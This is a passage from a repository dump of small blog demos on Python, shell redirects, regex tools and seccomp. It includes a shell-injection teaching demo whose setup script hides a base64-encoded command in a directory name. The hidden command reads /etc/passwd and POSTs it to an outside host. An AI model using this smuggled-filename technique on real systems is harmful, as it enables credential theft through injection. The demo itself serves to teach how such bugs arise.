14964 kB 13 | Creating 100000 PointSlots instances... 14 | Computed 9999900000 from 100000 points in 293.6 ms 15 | --- LPoint --- 16 | VmPeak: 29044 kB 17 | Creating 100000 LPoint instances... 18 | Computed 9999900000 from 100000 points in 348.7 ms 19 | --- LPointSlots --- 20 | VmPeak: 14964 kB 21 | Creating 100000 LPointSlots instances... 22 | Computed 9999900000 from 100000 points in 422.5 ms 23 | -------------------------------------------------------------------------------- /py-slots/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | show-mem() { 11 | local pid=$1 12 | for i in {1..3}; do 13 | echo "$pid: $i" 14 | grep '^Vm' /proc/$1/status 15 | sleep 0.1 16 | done 17 | } 18 | 19 | # Definitely saves a lot of memory under Python 2.7. 37 20 | # VmPeak: 431708 kB 21 | # vs. 22 | # VmPeak: 146004 kB 23 | 24 | # TODO: Use your coverage build from cpython-silce to instrument it? 25 | 26 | compare() { 27 | local n=100000 28 | #local n=1000000 29 | 30 | export SHOW_MEM=1 31 | 32 | # Measurably slower with long variable names! Dict lookups are slower. 33 | for class in '' '' '' Point PointSlots LPoint LPointSlots; do 34 | echo "--- $class ---" 35 | ./demo.py $class $n 36 | done 37 | } 38 | 39 | "$@" 40 | -------------------------------------------------------------------------------- /python-getopt/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./demo.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | main() { 11 | for i in 5000 10000 15000 20000; do 12 | time ./getopt_quadratic.py $i y z 13 | done 14 | for i in 5000 10000 15000 20000; do 15 | time ./getopt_quadratic.py $i -o foo 16 | done 17 | } 18 | 19 | main "$@" 20 | -------------------------------------------------------------------------------- /python-getopt/getopt_quadratic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | """ 3 | getopt_bug.py 4 | """ 5 | from __future__ import print_function 6 | 7 | import getopt 8 | import sys 9 | 10 | 11 | def main(argv): 12 | n = int(argv[1]) 13 | long_argv = argv[2:] * n 14 | opts, long_argv = getopt.getopt(long_argv, 'o:') 15 | print(len(opts)) 16 | 17 | 18 | if __name__ == '__main__': 19 | main(sys.argv) 20 | -------------------------------------------------------------------------------- /python-is-very-dynamic/demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | dyn.py 4 | """ 5 | from __future__ import print_function 6 | 7 | import sys 8 | 9 | 10 | class Unrelated(object): 11 | def m1(self): 12 | return "m1 unrelated" 13 | 14 | def m2(self): 15 | return "m2 unrelated" 16 | 17 | 18 | class C(object): 19 | def m1(self): 20 | return "m1 C" 21 | 22 | def m2(self): 23 | return "m2 C" 24 | 25 | 26 | class Sub(C): 27 | def m1(self): 28 | return "m1 Sub" 29 | 30 | 31 | def main(argv): 32 | obj = Sub() 33 | print(obj.m1()) 34 | print(obj.m2()) 35 | print('---') 36 | 37 | print('Changed type of object:') 38 | obj.__class__ = C 39 | print(obj.m1()) 40 | print(obj.m2()) 41 | print('---') 42 | 43 | obj2 = Sub() 44 | print(obj2.m1()) 45 | print(obj2.m2()) 46 | print('---') 47 | 48 | print('Changed superclass of type:') 49 | Sub.__bases__ = (Unrelated,) 50 | print(obj2.m1()) 51 | print(obj2.m2()) 52 | 53 | 54 | if __name__ == '__main__': 55 | try: 56 | main(sys.argv) 57 | except RuntimeError as e: 58 | print('FATAL: %s' % e, file=sys.stderr) 59 | sys.exit(1) 60 | -------------------------------------------------------------------------------- /python-pattern-matching/class_ast.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | dataclass_ast.py 4 | 5 | Run with Python 3.10 6 | """ 7 | from __future__ import print_function 8 | 9 | import sys 10 | 11 | from dataclasses import dataclass 12 | from typing import Union 13 | 14 | class BinOp: 15 | # Without this, we get TypeError on 'case BinOp': BinOp accepts 0 positional subpatterns 16 | __match_args__ = ('left', 'op', 'right') 17 | 18 | def __init__(self, left, op, right): 19 | self.left = left 20 | self.op = op 21 | self.right = right 22 | 23 | def __repr__(self): 24 | return 'BinOp(%s, %s, %s)' % (self.left, self.op, self.right) 25 | 26 | 27 | class Constant: 28 | __match_args__ = ('value',) 29 | 30 | def __init__(self, value: int): 31 | self.value = value 32 | 33 | def __repr__(self): 34 | return 'Constant(%d)' % self.value 35 | 36 | 37 | class Add: 38 | def __repr__(self): 39 | return 'Add()' 40 | 41 | 42 | class Sub: 43 | def __repr__(self): 44 | return 'Sub()' 45 | 46 | 47 | Expr = Union[BinOp, Constant] 48 | 49 | Op = Union[Add, Sub] 50 | 51 | 52 | # This one is superficially different than in the paper! 53 | # 54 | # Hm this depends on __match_args__ ? Is it set in the ast module nodes? 55 | 56 | def simplify(node): 57 | match node: 58 | case BinOp(Constant(left), Add(), Constant(right)): 59 | return Constant(left + right) 60 | case _: 61 | return node 62 | 63 | 64 | def main(argv): 65 | expr = BinOp(Constant(3), Add(), Constant(4)) 66 | print(expr) 67 | opt = simplify(expr) 68 | print(' => optimized') 69 | print(opt) 70 | 71 | 72 | if __name__ == '__main__': 73 | try: 74 | main(sys.argv) 75 | except RuntimeError as e: 76 | print('FATAL: %s' % e, file=sys.stderr) 77 | sys.exit(1) 78 | -------------------------------------------------------------------------------- /python-pattern-matching/dataclass_ast.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | dataclass_ast.py 4 | 5 | Run with Python 3.10 6 | """ 7 | from __future__ import print_function 8 | 9 | import sys 10 | 11 | from dataclasses import dataclass 12 | from typing import Union 13 | 14 | @dataclass(frozen=True) 15 | class BinOp: 16 | left: 'Expr' 17 | op: 'Op' 18 | right: 'Expr' 19 | 20 | @dataclass(frozen=True) 21 | class UnaryOp: 22 | op: 'Op' 23 | child: 'Expr' 24 | 25 | @dataclass(frozen=True) 26 | class Constant: 27 | value: int 28 | 29 | @dataclass(frozen=True) 30 | class Add: 31 | pass 32 | 33 | @dataclass(frozen=True) 34 | class Sub: 35 | pass 36 | 37 | @dataclass(frozen=True) 38 | class USub: 39 | pass 40 | 41 | Expr = Union[BinOp, UnaryOp, Constant] 42 | 43 | Op = Union[Add, Sub, USub] 44 | 45 | 46 | # This one is superficially different than in the paper! 47 | # 48 | # Hm this depends on __match_args__ ? Is it set in the ast module nodes? 49 | 50 | def simplify(node): 51 | match node: 52 | case BinOp(Constant(left), Add(), Constant(right)): 53 | return Constant(left + right) 54 | case BinOp(left, Add() | Sub(), Constant(0)): 55 | return simplify(left) 56 | case UnaryOp(USub(), UnaryOp(USub(), item)): 57 | return simplify(item) 58 | case _: 59 | return node 60 | 61 | 62 | def main(argv): 63 | expr = BinOp(Constant(3), Add(), Constant(4)) 64 | print(expr) 65 | opt = simplify(expr) 66 | print(' => optimized') 67 | print(opt) 68 | 69 | 70 | if __name__ == '__main__': 71 | try: 72 | main(sys.argv) 73 | except RuntimeError as e: 74 | print('FATAL: %s' % e, file=sys.stderr) 75 | sys.exit(1) 76 | -------------------------------------------------------------------------------- /python-pattern-matching/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | download() { 11 | mkdir -p _deps 12 | wget --no-clobber --directory _deps \ 13 | https://www.python.org/ftp/python/3.10.0/Python-3.10.0.tar.xz 14 | } 15 | 16 | readonly PY_310=_deps/Python-3.10.0/python 17 | 18 | stdlib_ast() { 19 | $PY_310 stdlib_ast.py 20 | } 21 | 22 | dataclass_ast() { 23 | $PY_310 dataclass_ast.py 24 | } 25 | 26 | class_ast() { 27 | $PY_310 class_ast.py 28 | } 29 | 30 | typed() { 31 | # mypy 0.812 doesn't understand the match statement! 32 | # mypy typed.py 33 | # 34 | # As of 11/2021, the latest mypy is 0.910, released June 2021. So it 35 | # probably doesn't support Python 3.10 syntax yet. 36 | $PY_310 typed.py 37 | } 38 | 39 | # Change PYTHONPATH to match this for $PY_310 40 | pythonpath() { 41 | python3 -c 'import sys; print(sys.path)' 42 | } 43 | 44 | mypy() { 45 | # we need to run with Python 3.10 for pattern matching 46 | 47 | PYTHONPATH=~/.local/lib/python3.6/site-packages $PY_310 ~/.local/bin/mypy "$@" 48 | } 49 | 50 | # match statement support 51 | # https://mypy-lang.blogspot.com/2022/03/mypy-0940-released.html 52 | install-mypy() { 53 | pip3 install mypy 54 | } 55 | 56 | readonly REPO_ROOT=~/git/oilshell/oil 57 | readonly py_310=$PWD/$PY_310 58 | 59 | parse-all() { 60 | cd $REPO_ROOT 61 | test/py3_parse.sh all-files | egrep '\.py$' | xargs -- $py_310 test/py3_parse.py 62 | } 63 | 64 | parse-one() { 65 | AST_DUMP=1 $PY_310 $REPO_ROOT/test/py3_parse.py "$@" 66 | } 67 | 68 | syntax-error() { 69 | parse-one syntax_error.py 70 | } 71 | 72 | check-all() { 73 | for p in *.py; do 74 | if test "$p" = 'syntax_error.py'; then 75 | continue 76 | fi 77 | echo 78 | echo "=== $p ===" 79 | echo 80 | mypy $p 81 | done 82 | } 83 | 84 | 85 | 86 | 87 | "$@" 88 | -------------------------------------------------------------------------------- /python-pattern-matching/stdlib_ast.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | demo.py 4 | 5 | Run with Python 3.10 6 | """ 7 | from __future__ import print_function 8 | 9 | import sys 10 | import ast 11 | from ast import expr, Expr, BinOp, UnaryOp, Constant, Add, Sub, USub 12 | 13 | from typing import cast 14 | 15 | # https://gvanrossum.github.io/docs/PyPatternMatching.pdf 16 | 17 | def fact(arg) -> int: 18 | match arg: 19 | case 0 | 1: 20 | f = 1 21 | case n: 22 | f = n * fact(n - 1) 23 | return f 24 | 25 | 26 | def mysum(seq) -> int: 27 | match seq: 28 | case []: 29 | s: int = 0 30 | case [head, *tail]: 31 | s = head + mysum(tail) 32 | return s 33 | 34 | 35 | # This one is superficially different than in the paper! 36 | # 37 | # Hm this depends on __match_args__ ? Is it set in the ast module nodes? 38 | 39 | def simplify(node) -> expr: 40 | match node: 41 | case BinOp(Constant(left), Add(), Constant(right)): 42 | return Constant(left + right) 43 | case BinOp(left, Add() | Sub(), Constant(0)): 44 | return simplify(left) 45 | case UnaryOp(USub(), UnaryOp(USub(), item)): 46 | return simplify(item) 47 | case _: 48 | return node 49 | 50 | 51 | def main(argv) -> None: 52 | print('Hello from demo.py') 53 | 54 | print(fact(6)) 55 | 56 | print(mysum([1, 2, 3])) 57 | 58 | # Test out all the optimizations 59 | for code_str in ['3 + 4', '3 - 0', '- - 5']: 60 | print(' %s' % code_str) 61 | 62 | module = ast.parse(code_str) 63 | print(ast.dump(module)) 64 | 65 | # unwrap the expression 66 | stmt = module.body[0] 67 | e = cast(Expr, stmt).value 68 | 69 | print(' AST') 70 | print(ast.dump(e)) 71 | 72 | opt = simplify(e) 73 | 74 | print() 75 | print(' => optimized') 76 | print(opt) 77 | print(ast.dump(opt)) 78 | 79 | print('-----') 80 | 81 | 82 | if __name__ == '__main__': 83 | try: 84 | main(sys.argv) 85 | except RuntimeError as e: 86 | print('FATAL: %s' % e, file=sys.stderr) 87 | sys.exit(1) 88 | -------------------------------------------------------------------------------- /python-pattern-matching/syntax_error.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | """ 3 | syntax_error.py 4 | """ 5 | from __future__ import print_function 6 | 7 | import sys 8 | 9 | 10 | def main(argv): 11 | # type: OOPS -> None 12 | 13 | # Hm Python 3.10's AST module doesn't validate this syntax. It just returns 14 | # it as an opaque string. 15 | 16 | print('Hello from syntax_error.py') 17 | 18 | 19 | 20 | if __name__ == '__main__': 21 | try: 22 | main(sys.argv) 23 | except RuntimeError as e: 24 | print('FATAL: %s' % e, file=sys.stderr) 25 | sys.exit(1) 26 | -------------------------------------------------------------------------------- /python-pattern-matching/typed.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | typed.py 4 | """ 5 | from __future__ import print_function 6 | 7 | import sys 8 | 9 | from dataclasses import dataclass 10 | from typing import Union, List 11 | 12 | 13 | # Example from 14 | # https://www.pyret.org/index.html 15 | 16 | # tree = 17 | # | Leaf() 18 | # | Node(value int, a tree, b tree) 19 | # 20 | 21 | @dataclass(frozen=True) 22 | class Leaf: 23 | pass 24 | 25 | 26 | # The dataclass adds a constructor 27 | @dataclass(frozen=True) 28 | class Node: 29 | value: int 30 | # I think Python 3.11 will have delayed evaluation of annotations 31 | a: 'tree' 32 | b: 'tree' 33 | 34 | 35 | tree = Union[Leaf, Node] 36 | 37 | 38 | def TreeSum(t: tree) -> int: 39 | match t: 40 | case Leaf(): 41 | return 0 42 | case Node(value, left, right): 43 | return value + TreeSum(left) + TreeSum(right) 44 | 45 | 46 | def main(argv: List[str]) -> None: 47 | print('Hello from typed.py') 48 | 49 | leaf = Leaf() 50 | print(TreeSum(leaf)) 51 | node4 = Node(4, leaf, leaf) 52 | t = Node(5, node4, leaf) 53 | print(TreeSum(t)) 54 | 55 | 56 | if __name__ == '__main__': 57 | try: 58 | main(sys.argv) 59 | except RuntimeError as e: 60 | print('FATAL: %s' % e, file=sys.stderr) 61 | sys.exit(1) 62 | -------------------------------------------------------------------------------- /redirects-dup/example1/README: -------------------------------------------------------------------------------- 1 | This example shows why you need to save fd 1 (stdout) before redirecting. 2 | -------------------------------------------------------------------------------- /redirects-dup/example1/r1.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo one 4 | echo two >out1.txt 5 | echo three 6 | 7 | -------------------------------------------------------------------------------- /redirects-dup/example1/r2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ./r1.sh > out2.txt 4 | 5 | -------------------------------------------------------------------------------- /redirects-dup/example1/trace.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # -ff : follow forks 4 | strace -ff -o r1trace -e dup2,fcntl,open,close,write -- ./r2.sh 5 | -------------------------------------------------------------------------------- /redirects-dup/stdout_stderr.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | """ 3 | stdout_stderr.py 4 | 5 | Tool for testing redirects. 6 | """ 7 | 8 | import sys 9 | 10 | 11 | def main(argv): 12 | try: 13 | stdout = argv[1] 14 | stderr = argv[2] 15 | except IndexError: 16 | stdout = 'STDOUT' 17 | stderr = 'STDERR' 18 | print(stdout) 19 | print(stderr, file=sys.stderr) 20 | 21 | if __name__ == '__main__': 22 | main(sys.argv) 23 | -------------------------------------------------------------------------------- /regular-languages/op-glob.sh: -------------------------------------------------------------------------------- 1 | # 2 | # Portable Library 3 | # 4 | 5 | readonly GLOB_TMP=_tmp/glob-backtrack 6 | 7 | repeat() { 8 | local s=$1 9 | local n=$2 10 | 11 | for i in $(seq $n); do 12 | echo -n "$s" 13 | done 14 | } 15 | 16 | glob_bench() { 17 | local max=${1:-5} 18 | cd $GLOB_TMP 19 | 20 | for i in $(seq $max); do 21 | local pat="$(repeat 'a*' $i)b" 22 | time echo $pat 23 | echo 24 | done 25 | } 26 | 27 | fnmatch_task() { 28 | local text=$1 29 | local pat=$2 30 | 31 | case $text in 32 | ($pat) 33 | echo yes 34 | ;; 35 | (*) 36 | echo no 37 | ;; 38 | esac 39 | } 40 | 41 | fnmatch_bench() { 42 | local max=${1:-5} 43 | cd $GLOB_TMP 44 | 45 | # hm this never matches? 46 | local text=$(repeat a 100) 47 | for i in $(seq $max); do 48 | local pat="$(repeat 'a*' $i)b" 49 | time fnmatch_task "$text" "$pat" 50 | echo 51 | done 52 | } 53 | 54 | ext_fnmatch_bench() { 55 | local max=${1:-20} 56 | local workload=${2:-glob} 57 | cd $GLOB_TMP 58 | 59 | shopt -s extglob 60 | 61 | for i in $(seq $max); do 62 | case $workload in 63 | # backtracks in both bash and OSH 64 | # I think mksh doesn't do this dynamic globbing 65 | glob) 66 | # matching a^N b against a^100 67 | # like fnmatch workload above 68 | 69 | local text=$(repeat a 100) 70 | local pat=$(repeat 'a?(a)' $i)b 71 | ;; 72 | 73 | # backtracks when it does NOT Match, i.e. when the text is a^N b, not 74 | # just a^N 75 | regex) 76 | # Using the regex workload rather than the glob workload 77 | # https://swtch.com/~rsc/regexp/regexp1.html 78 | 79 | # matching a?^N a^N again a^N 80 | local text=$(repeat a $i)b 81 | local pat="$(repeat '?(a)' $i)$(repeat 'a' $i)" 82 | ;; 83 | esac 84 | 85 | echo $i "$text" "$pat" 86 | time fnmatch_task "$text" "$pat" 87 | echo 88 | done 89 | } 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /regular-languages/op-line.sh: -------------------------------------------------------------------------------- 1 | # Filter lines 2 | 3 | egrep-task() { 4 | local text=$1 5 | local pattern=$2 6 | 7 | echo -n 'egrep ' 8 | echo "$text" | egrep "$pattern" 9 | } 10 | 11 | sed-task() { 12 | local text=$1 13 | local pattern=$2 14 | 15 | echo -n 'sed ' 16 | echo "$text" | sed "/$pattern/p" 17 | } 18 | 19 | awk-task() { 20 | local bin=$1 21 | local text=$2 22 | local pattern=$3 23 | 24 | echo -n "$bin " 25 | echo "$text" | $bin "/$pattern/ { print }" 26 | } 27 | 28 | mawk-task() { awk-task mawk "$@"; } 29 | gawk-task() { awk-task gawk "$@"; } 30 | 31 | libc-task() { 32 | ### bash is linked against libc 33 | 34 | local text=$1 35 | local pattern=$2 36 | 37 | echo -n 'libc ' 38 | # note: pattern can't be quoted 39 | [[ "$text" =~ $pattern ]] && echo $text 40 | } 41 | 42 | zsh-task() { 43 | ### bash is linked against libc 44 | local text=$1 45 | local pattern=$2 46 | 47 | echo -n 'zsh ' 48 | # note: pattern can't be quoted 49 | zsh -c '[[ "$1" =~ $2 ]] && echo $1' dummy "$text" "$pattern" 50 | } 51 | 52 | python-task() { 53 | local text=$1 54 | local pattern=$2 55 | 56 | echo -n 'py ' 57 | python -c ' 58 | import re, sys 59 | 60 | pattern, text = sys.argv[1:] 61 | #print(pattern) 62 | #print(text) 63 | 64 | # Assumed to match 65 | if re.match(pattern, text): 66 | print(text) 67 | ' "$pattern" "$text" 68 | } 69 | 70 | perl-task() { 71 | local text=$1 72 | local pattern=$2 73 | 74 | echo -n 'perl ' 75 | echo "$text" | perl -n -e "print if /$pattern/" 76 | 77 | # https://stackoverflow.com/questions/4794145/perl-one-liner-like-grep 78 | } 79 | 80 | js-task() { 81 | local text=$1 82 | local pattern=$2 83 | 84 | echo -n 'js ' 85 | nodejs -e ' 86 | //console.log(process.argv) 87 | argv = process.argv 88 | var text = argv[1]; 89 | var pattern = argv[2]; 90 | if (text.match(pattern)) { 91 | console.log(text) 92 | } 93 | ' "$text" "$pattern" 94 | } 95 | 96 | -------------------------------------------------------------------------------- /regular-languages/op-match.sh: -------------------------------------------------------------------------------- 1 | # Print the whole match (usually $0) 2 | 3 | egrep-match() { 4 | local text=$1 5 | local pat=$2 6 | 7 | echo -n 'egrep ' 8 | # -o for only matching portion 9 | echo "$text" | egrep -o "$pat" 10 | } 11 | 12 | sed-match() { 13 | local text=$1 14 | local pat=$2 15 | 16 | echo -n 'sed ' 17 | #echo "$text" | sed -r -n 's/'"$pat"'/&/p' 18 | 19 | # you need these extra .* in sed. Because of the way the 's' command works. 20 | # But that breaks some stuff 21 | 22 | # https://stackoverflow.com/questions/2777579/how-to-output-only-captured-groups-with-sed/43997253 23 | 24 | echo "$text" | sed -r -n 's/.*('"$pat"').*/\1/p' 25 | 26 | #echo "$text" | sed "/$pat/p" 27 | } 28 | 29 | gawk-match() { 30 | local text=$1 31 | local pat=$2 32 | 33 | echo -n 'gawk ' 34 | echo "$text" | gawk 'match($0, /'"$pat"'/, m) { print m[0] }' 35 | } 36 | 37 | libc-match() { 38 | local text=$1 39 | local pat=$2 40 | 41 | echo -n 'libc ' 42 | [[ "$text" =~ $pat ]] 43 | echo ${BASH_REMATCH[0]} 44 | } 45 | 46 | python-match() { 47 | local text=$1 48 | local pattern=$2 49 | 50 | echo -n 'py ' 51 | python -c ' 52 | import re, sys 53 | 54 | pattern, text = sys.argv[1:] 55 | #print(pattern) 56 | #print(text) 57 | 58 | # Assumed to match 59 | print(re.match(pattern, text).group(0)) 60 | ' "$pattern" "$text" 61 | } 62 | 63 | perl-match() { 64 | local text=$1 65 | local pat=$2 66 | 67 | # I can't figure out how to do the equivalent of $0 in Perl? 68 | echo -n 'perl ' 69 | echo "$text" | perl -n -e '$_ = /('"$pat"')/; print $1' 70 | echo 71 | } 72 | 73 | js-match() { 74 | local text=$1 75 | local pattern=$2 76 | 77 | echo -n 'js ' 78 | nodejs -e ' 79 | //console.log(process.argv) 80 | argv = process.argv 81 | var text = argv[1]; 82 | var pattern = argv[2]; 83 | var m = text.match(pattern); 84 | console.log(m[0]); 85 | 86 | ' "$text" "$pattern" 87 | } 88 | 89 | -------------------------------------------------------------------------------- /regular-languages/op-submatch.sh: -------------------------------------------------------------------------------- 1 | # Print a whole match (usually $1) 2 | 3 | sed-submatch() { 4 | local text=$1 5 | local pat=$2 6 | local submatch=${3:-1} 7 | 8 | echo -n 'sed ' 9 | 10 | set +o errexit # might not be there 11 | echo "$text" | sed -r -n 's/'"$pat"'/\'$submatch'/p' 12 | } 13 | 14 | gawk-submatch() { 15 | local text=$1 16 | local pat=$2 17 | local submatch=${3:-1} 18 | 19 | echo -n 'gawk ' 20 | echo "$text" | gawk 'match($0, /'"$pat"'/, m) { print m['$submatch'] }' 21 | } 22 | 23 | libc-submatch() { 24 | local text=$1 25 | local pat=$2 26 | local submatch=${3:-1} 27 | 28 | echo -n 'libc ' 29 | [[ "$text" =~ $pat ]] 30 | 31 | set +o nounset # we might be asking for one that's not there 32 | echo ${BASH_REMATCH[$submatch]} 33 | } 34 | 35 | python-submatch() { 36 | local text=$1 37 | local pattern=$2 38 | local submatch=${3:-1} 39 | 40 | echo -n 'py ' 41 | python -c ' 42 | import re, sys 43 | 44 | pattern, text, submatch = sys.argv[1:] 45 | #print(pattern) 46 | #print(text) 47 | 48 | # Assumed to match 49 | print(re.match(pattern, text).group(int(submatch))) 50 | ' "$pattern" "$text" "$submatch" 51 | } 52 | 53 | perl-submatch() { 54 | local text=$1 55 | local pat=$2 56 | local submatch=${3:-1} 57 | 58 | echo -n 'perl ' 59 | echo "$text" | perl -n -e '$_ = /'"$pat"'/; print $'$submatch 60 | echo 61 | } 62 | 63 | js-submatch() { 64 | local text=$1 65 | local pattern=$2 66 | local submatch=${3:-1} 67 | 68 | echo -n 'js ' 69 | nodejs -e ' 70 | //console.log(process.argv) 71 | argv = process.argv 72 | var text = argv[1]; 73 | var pattern = argv[2]; 74 | var submatch = parseInt(argv[3]); 75 | var m = text.match(pattern); 76 | if (m) { 77 | console.log(m[submatch]); 78 | } else { 79 | console.log("NO MATCH"); 80 | } 81 | 82 | ' "$text" "$pattern" "$submatch" 83 | } 84 | 85 | -------------------------------------------------------------------------------- /regular-languages/pygrep.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | """ 3 | pygrep.py 4 | """ 5 | from __future__ import print_function 6 | 7 | import re, sys 8 | 9 | pat = re.compile(sys.argv[1]) 10 | 11 | for line in sys.stdin: 12 | m = pat.match(line) 13 | if m: 14 | print(m.groups()) 15 | -------------------------------------------------------------------------------- /regular-languages/survey.txt: -------------------------------------------------------------------------------- 1 | doctools/oil_doc.py:(.*?) # arbitrary text 2 | doctools/oil_doc.py: .*? 3 | doctools/oil_doc.py:.*? # arbitrary text 4 | lazylex/html.py: (r'', Comment), 5 | lazylex/html.py: (r'<\? .*? \?>', Processing), 6 | osh/glob_test.py: m = re.match('^(.*?)c.*$', s) 7 | osh/glob_test.py: m = re.match('^.*?b(.*)$', s) 8 | pgen2/tokenize.py:#cookie_re = re.compile(r'^[ \t\f]*#.*?coding[:=][ \t]*([-\w.]+)', re.ASCII) 9 | test/jsontemplate.py: r'\S.*?' + 10 | types/refactor.py:(?P.*?) 11 | -------------------------------------------------------------------------------- /return-array/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./demo.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | argv() { 11 | python -c 'import sys;print sys.argv[1:]' "$@" 12 | } 13 | 14 | set-myarray() { 15 | myarray=('a b' $'c\nd') 16 | } 17 | 18 | set-array-var() { 19 | local name=$1 20 | # I think you need eval here 21 | name=('a b' $'c\nd') 22 | } 23 | 24 | main() { 25 | declare -a myarray 26 | declare -a otherarray 27 | set-myarray 28 | 29 | argv "${myarray[@]}" 30 | 31 | # Not sure how to do this: 32 | return 33 | set-array-var otherarray 34 | argv "${otherarray[@]}" 35 | } 36 | 37 | "$@" 38 | -------------------------------------------------------------------------------- /rust-shell-injection/README.md: -------------------------------------------------------------------------------- 1 | Shell Injection Demo in Rust 2 | ============================ 3 | 4 | ## What's wrong with this code? 5 | 6 | rustc main.rs 7 | ./main.rs 8 | 9 | Why does the file `PWNED` appear in the current directory? 10 | 11 | ## Context 12 | 13 | - Discussion of blog post with shell injection in Rust: 14 | 15 | - Discussion of `xz` backdoor a bit later: 16 | 17 | 18 | The shell injection in Rust was not technically related to the `xz` backdoor. 19 | I was making an analogy. 20 | 21 | The point was that both of these snippets should be suspicious from looking at 22 | just **one line**, and nothing else: 23 | 24 | - `xz -d | /bin/bash` 25 | - Because it’s a sign of compressed code in the repo or tarball. Executable 26 | source code shouldn’t be compressed because that’s a form of obfuscation. 27 | There’s no other reason for it. 28 | - `if let command = format!("cd {:?}; /usr/bin/env -0;", dir);` 29 | - Because it’s string concatenation of code, without proper escaping. (This 30 | example has the wrong form of escaping, which is equivalent to no escaping) 31 | 32 | I was being a bit of a dick there, to make a point. There's a consistent 33 | pattern of shell and HTML injections in blog posts: 34 | 35 | - 36 | 37 | Not only do people not notice the bugs, but when I explicitly point them out, 38 | they argue that there's no problem. 39 | 40 | We've lost knowledge. 41 | 42 | So this Rust program is a demo of one such problem. 43 | 44 | --- 45 | 46 | There does seem to be confusion between memory safety and string safety. Rust 47 | doesn't really do anything about the latter. 48 | 49 | Another example from the thread: 50 | 51 | - 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /rust-shell-injection/hidden/; true $(echo aGVhZCAvZXRjL3Bhc3N3ZCB8IHRlZSBQV05FRCB8IGN1cmwgLVggUE9TVCBodHRwOi8vZ29vZ2xlLmNvbS8K | base64 -d | $SHELL)/file.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/rust-shell-injection/hidden/; true $(echo aGVhZCAvZXRjL3Bhc3N3ZCB8IHRlZSBQV05FRCB8IGN1cmwgLVggUE9TVCBodHRwOi8vZ29vZ2xlLmNvbS8K | base64 -d | $SHELL)/file.txt -------------------------------------------------------------------------------- /rust-shell-injection/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | # Prepare the exploit: 11 | # 12 | # ./setup.sh make-dir 13 | 14 | what-is-wrong-with-this-rust-code() { 15 | rm -v -f PWNED 16 | 17 | ~/.cargo/bin/rustc main.rs 18 | 19 | ./main 20 | } 21 | 22 | 23 | reveal() { 24 | find hidden/ 25 | } 26 | 27 | "$@" 28 | -------------------------------------------------------------------------------- /rust-shell-injection/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Create a directory with a special name in this repo. 4 | 5 | make-dir() { 6 | # Wrapping in $() because it needs to survive quoting from Rust's {.?}, which 7 | # does double quoting. 8 | 9 | local payload='head /etc/passwd | tee PWNED | curl -X POST http://google.com/' 10 | 11 | # base64 removes slashes, also avoid multiple lines 12 | local encoded=$(echo "$payload" | base64 --wrap=0) 13 | 14 | echo "$encoded" 15 | echo "$encoded" | base64 -d 16 | 17 | local dir='hidden/; true $(echo '$encoded' | base64 -d | $SHELL)' 18 | 19 | echo "dir = $dir" 20 | 21 | rm -r -f -v hidden/ 22 | mkdir -v -p "$dir" 23 | touch "$dir/file.txt" 24 | } 25 | 26 | "$@" 27 | -------------------------------------------------------------------------------- /seccomp/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | build-1() { 4 | cc -o example-1 step-1/example.c 5 | } 6 | 7 | download-2() { 8 | mkdir step-2 9 | 10 | local url=https://outflux.net/teach-seccomp/step-2 11 | pushd step-2 12 | wget $url/{LICENSE,Makefile,config.h.in,configure.ac,example.c,seccomp-bpf.h} 13 | popd 14 | } 15 | 16 | build-2() { 17 | cc -o example-2 step-2/example.c 18 | } 19 | 20 | download-3() { 21 | mkdir step-3 22 | 23 | local url=https://outflux.net/teach-seccomp/step-3 24 | pushd step-3 25 | wget $url/{LICENSE,Makefile,config.h.in,configure.ac,example.c,seccomp-bpf.h,syscall-reporter.{c,h,mk}} 26 | popd 27 | } 28 | 29 | build-3() { 30 | cc -o example-3 step-3/{example.c,syscall-reporter.c} 31 | } 32 | 33 | "$@" 34 | -------------------------------------------------------------------------------- /seccomp/step-1/LICENSE: -------------------------------------------------------------------------------- 1 | seccomp example for x86 (32-bit and 64-bit) with BPF macros 2 | 3 | Copyright (c) 2012 The Chromium OS Authors 4 | Authors: 5 | Will Drewry 6 | Kees Cook 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are 10 | met: 11 | 12 | * Redistributions of source code must retain the above copyright 13 | notice, this list of conditions and the following disclaimer. 14 | * Redistributions in binary form must reproduce the above 15 | copyright notice, this list of conditions and the following 